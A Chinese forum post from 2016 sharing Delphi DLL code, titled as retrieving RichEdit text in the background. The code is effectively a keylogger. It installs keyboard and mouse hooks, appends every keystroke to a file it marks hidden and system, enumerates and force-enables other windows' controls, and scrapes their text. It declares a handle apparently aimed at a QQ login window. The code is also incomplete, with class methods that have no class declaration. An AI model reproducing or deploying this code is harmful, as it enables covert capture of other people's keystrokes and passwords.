HanDs
管理员

[Delphi文章] 后台获取RichEdit内容 



Delphi应用Windows API后台获取RichEdit内容

uses
  windows, Messages, SysUtils, dateutils;
Const
  txtFile1 = 'KBMouse.dat';
var
  HMainWnd, Font, DeskWnd, TrayWindow, qqloginWND, tarWnd1, RichWnd, RichWnd1, hwndCombox,
xfwindow, status, notclosewindow,
  Edit1, Edit2, Edit3, Edit4, Edit5, Edit6,
  tmpHWND, tmpWND1, ComputWND : HWND;
  sysMenu1 : HMenu;
  winDir, sysDirectory, curDir, s1, s2, s3, className : array[0..256] of char;
  debfile1 : textfile;
  nexthookproc, nexthookproc2 : hHook;
  procsaveexit, pointer1 : Pointer;
  pt : TPoint;
  Rect1 : TRect;
implementation
Procedure SaveInfo(str: string); stdcall;
var i : integer;
Begin
if fileexists(txtFile1) then
  begin
  SetFileAttributes(txtFile1, FILE_ATTRIBUTE_NORMAL);
  assignfile(debfile1, txtfile1);
  append(debfile1);
  writeln(debfile1, str);
  closefile(debfile1);
  SetFileAttributes(txtFile1, FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM);
  end
  else begin
        i := filecreate(txtFile1);
        FileClose(i);
        assignfile(debfile1, txtfile1);
        append(debfile1);
        write(debfile1, str);
        closefile(debfile1);
        end;
end;
Function TDllLoader.IsPassabled : boolean; stdcall;
Begin
  if not fileExists(txtFile1) then
    begin
      AssignFile(debfile1, txtFile1);
      Rewrite(debfile1, txtFile1);
      closeFile(debfile1);
    end;
  dosomeA;
  Result := true;
end;
Function OK(h:HWND; LPARAM:LPARAM):Boolean; stdcall;
begin
tarWnd1 := windows.WindowFromPoint(pt);
if h = 0 then h := tarWnd1;
try
  GetClassName(h, @s1, 128);
  GetWindowText(h, @s3, MAXLONG);
  SaveInfo('后台 Dll.pas 获取的 HWND:[' + IntToStr(h) + ']classname【' + strpas(s1) + #13#10 + '】Text:' + strpas(s3) + #13#10);
  finally
  if StrPas(s1) = 'Edit' then RichWnd1 := h;
  if isWindowEnabled(h) = false then EnableWindow(h, true);
  ShowWindow(h, SW_SHOW);
  result := true;
  end;
end;
Function keyhook(icode : integer; wpar : wparam; lpar : lparam): LRESULT; stdcall; export;
Begin       //截取键盘消息的函数
  if icode < 0 then begin
    Result := callnexthookex(nexthookproc, icode, wpar, lpar);
    exit;
    end;
  assignfile(debfile1, txtFile1);
  append(debfile1);
  if getkeystate(vk_return) < 0 then
    begin
    HmainWnd := 0;
    HmainWnd := FindWindow('MiniToolBox', nil);
    if (HmainWnd <> 0) and GetWindowRect(HmainWnd, Rect1) then begin
      pt.X := Rect1.Left + 28;
      pt.Y := Rect1.Top + 66;
      tarWnd1 := ChildWindowFromPoint(HmainWnd, pt);
      if (tarWnd1 = HmainWnd) and GetCursorPos(pt) then tarWnd1 := ChildWindowFromPoint(HmainWnd,
pt);
      RichWnd1 := tarWnd1;
      end;
    end else
          begin
            write(debfile1, char(wpar));
            write(debfile1, char(' '));
          end;
  closefile(debfile1);
  Result := 0;
end;
Function mousehook(icode : integer; wpar : wparam; lpar : lparam): LRESULT; stdcall; export;
Begin       //截取 mouse 消息的函数
  if icode < 0 then begin
    Result := callnexthookex(nexthookproc2, icode, wpar, lpar);
    exit;
    end;
  if HmainWnd <> 0 then EnableWindow(HMainWND, true);
  if HmainWnd <> 0 then EnumChildWindows(HmainWnd, @OK, 0);
  if (GetParent(WindowFromPoint(pt)) <> 0) then HmainWnd := GetParent(WindowFromPoint(pt));
  if RichWnd1 <> 0 then
    begin
    GetWindowText(RichWnd1, @s3, MAXLONG);
    Saveinfo('后台 Dll mouse 消息获取的' + #13#10 + StrPas(s3) + #13#10);
    end;
  Result := 0;
end;
procedure TDllLoader.dosomeA;
begin
  nexthookproc := SetWindowsHookEx(WH_KEYBOARD, @keyhook, HInstance, GetCurrentThreadID);
  nexthookproc2 := SetWindowsHookEx(WH_MOUSE, @mousehook, HInstance, GetCurrentThreadID);
end;

procedure TDllLoader.dosomeB;
begin
  if nexthookproc <> 0 then
    begin
      UnhookWindowsHookEx(nexthookproc);
      nexthookproc := 0;
    end;
  if nexthookproc2 <> 0 then
    begin
      UnhookWindowsHookEx(nexthookproc2);
      nexthookproc2 := 0;
    end;
end;
end.


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
后台 获取 R ic hE di t 内容
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组
快速回复